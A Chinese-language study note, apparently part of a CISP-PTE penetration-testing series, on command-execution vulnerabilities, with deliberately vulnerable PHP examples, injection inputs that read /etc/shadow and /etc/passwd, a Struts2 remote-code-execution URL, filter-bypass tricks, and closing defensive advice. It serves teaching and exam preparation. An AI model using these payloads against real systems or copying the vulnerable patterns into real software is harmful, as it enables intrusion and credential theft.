渗透测试CISP-PTE-系列学习笔记
第一章 渗透测试CISP-PTE:Web安全简介
第二章 渗透测试CISP-PTE:信息收集
第三章 渗透测试CISP-PTE:漏洞扫描
第四章 渗透测试CISP-PTE:HTTP请求流程
第五章 渗透测试CISP-PTE:SQL注入
第六章 渗透测试CISP-PTE:暴力破解
第七章 渗透测试CISP-PTE:XSS
第八章 渗透测试CISP-PTE:CSRF
第九章 渗透测试CISP-PTE:文件上传
第十章 渗透测试CISP-PTE:文件包含
第十一章 渗透测试CISP-PTE:命令执行
文章目录
前言
命令执行漏洞是一种安全漏洞,它允许攻击者通过执行恶意命令来控制受漏洞影响的系统。这种漏洞通常发生在应用程序的输入验证或过滤不完善的地方,使得恶意用户可以通过输入特定的内容来执行系统命令。
一、命令执行漏洞原理
命令执行漏洞是指攻击者可以随意执行系统命令。它属于高危漏洞之一,也属于代码执行的范畴。命令执行漏洞不仅存在于B/S架构中,在C/S架构中也常常遇到。
二、漏洞示例
1、OS命令执行漏洞示例
部分Web应用程序提供了一些命令执行的操作,例如,如果想测试http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞。
示例:
DVWA Command Injection
漏洞源代码
如上图所示功能,主要功能对应源代码可能如下所示
<?php
echo system("ping -n 2" . $_GET['IP']);
?>
代码分析
web系统获取GET参数IP,然后拼接到system()函数中,利用此函数执行PING功能。但是
此处没有参数IP做过滤和检测,导致可以利用管理符执行其它的系统命令
漏洞利用方法
输入:baidu.com | net user
系统在收到该输入时,系统的命令连接执行如下图所示
注意:在Linux系统中利用该漏洞输入127.0.0.1&&cat /etc/shadow甚至可以读取shadow文件,可见危害之大
2、脚本命令执行-示例1
任何脚本语言都可以调用操作系统命令,而各个脚本语言的实现方式都不一样。
命令执行漏洞和代码执行漏洞区别
- 命令执行漏洞是直接调用操作系统命令
- 代码执行漏洞则是靠执行脚本代码调用操作系统命令
漏洞脚本源代码
以php脚本为例,带有漏洞的脚本cmd.php的源代码如下:
<?php
$host = $argv[1];
system("ping ".$host); //执行ping命令
?>
代码分析
脚本接收到host参数后拼接到system()函数中,利用此函数执行PING功能。但是此处没有对参数host做过滤和检测,导致可以利用管理符执行其它的系统命令
漏洞利用方法
如上漏洞的利用方法:php.exe cmd.php baidu.com && net user
3、脚本命令执行-示例2
漏洞脚本源代码
PHP的eval() 函数是一个动态执行字符串的函数,可以将字符串作为PHP代码执行。由于它的灵活性,它也成为了攻击者的潜在目标之一。当用户输入的数据直接作为eval函数的参数时,如果没有进行适当的输入验证和过滤,就可能导致远程代码执行,造成严重的安全风险。
基于eval()函数的漏洞脚本cmd.php的源代码如下:
<?php
$payload = $_GET['payload']; // 通过GET请求获取用户输入的数据
eval($payload); // 将用户输入的数据作为PHP代码执行
?>
代码分析
在上述代码中,如果攻击者通过GET请求将恶意的PHP代码输入到payload参数中,那么该代码将被直接执行。这可能导致攻击者能够执行任意的PHP代码,包括删除、修改文件,获取服务器敏感信息等。
漏洞利用方法
http://localhost/cmd.php?payload=phpinfo(); //注意末尾要有引号
4、框架执行漏洞示例
Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。从2007年7月23日发布的第一个Struts2漏洞S2-001到2017年12月发布的最新漏洞S2-055,跨度足足有十年,而漏洞的个数也升至55个。分析了Struts2的这55个漏洞发现,基本上是RCE、XSS、CSRF、DOS、目录遍历和其他功能缺陷漏洞等等。各漏洞的PoC可查阅:https://www.freebuf.com/vuls/168609.html
在2013年6月底发布的Struts 2.3.15版本被曝出存在重要的安全漏洞。其中包含可远程执行服务器脚本代码.
漏洞利用
用户可以构造http://host/struts2‐blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,‘goes’,‘here’})).start()}链接,command goes here可以换成是 破坏脚本的路径和参数,比如fdisk ‐f等,造成破环系统无法运行的目的。
三、漏洞利用注意事项
1.常用的命令链接符:
|
||
&
&&
;
2.常用的文件输出命令:
cat
tac
head
tail
more
less
base64
grep ' ' /etc/passwd grep . /etc/passwd
awk {print } /etc/passwd
sed ' ' /etc/passwd
nl
od -a /etc/passwd (二进制输出)
xxs /etc/passwd (二进制输出)
diff /etc/hostname /etc/passwd
cp /etc.passwd /dev/stdout
3.常用的命令过滤绕过方法
3.1.字符替换为’’
如果针对指定字符替换为’',可使用双写来绕过
whowhoamiami
3.2.过滤命令关键字:增加\和’’
who\ami或who''ami
3.3.过滤命令执行空格:增加重定向
cat /etc/passwd cat</etc/passwd cat${IFS}/etc/passwd cat$IFS$9/etc/passwd
{cat,/etc/passwd}
f=$'\x20/etc/passwd'&&cat$f 定义变量
3.4.过滤目标文件名称:正则表达式匹配*
cat /etc/pass*
四、常见的利用方式和防护措施
攻击者通常利用以下几种常见的方式来利用命令执行漏洞:
- 输入注入:攻击者通过在应用程序的输入字段中插入恶意命令来执行他们自己的代码。
- 操作系统命令注入:攻击者通过在应用程序中输入的数据中注入恶意命令来执行操作系统命令。
- 文件上传:攻击者通过上传恶意文件,然后通过执行系统命令来控制目标系统。
- 网络协议注入:攻击者通过在应用程序的网络通信中注入恶意命令来执行系统命令。
为了防止命令执行漏洞,开发者应该采取以下措施:
- 尽量不要使用命令执行函数
- 输入验证和过滤:对于用户输入的数据,开发者需要进行严格的验证和过滤,确保只允许合法的输入。
- 参数化查询:对于执行操作系统命令的地方,开发者应该使用参数化查询,而不是直接将用户输入拼接到命令中。
- 最小权限原则:应用程序应该以最小的权限运行,不要给予用户不必要的权限。
- 更新和修补:及时更新和修补应用程序和操作系统中的安全漏洞,以确保系统的安全性。
总结
以上就是今天要讲的内容,本文仅仅简单介绍了命令执行漏洞原理、常见的漏洞利用方式等。后续将从SSRF漏洞等环节进行详细介绍。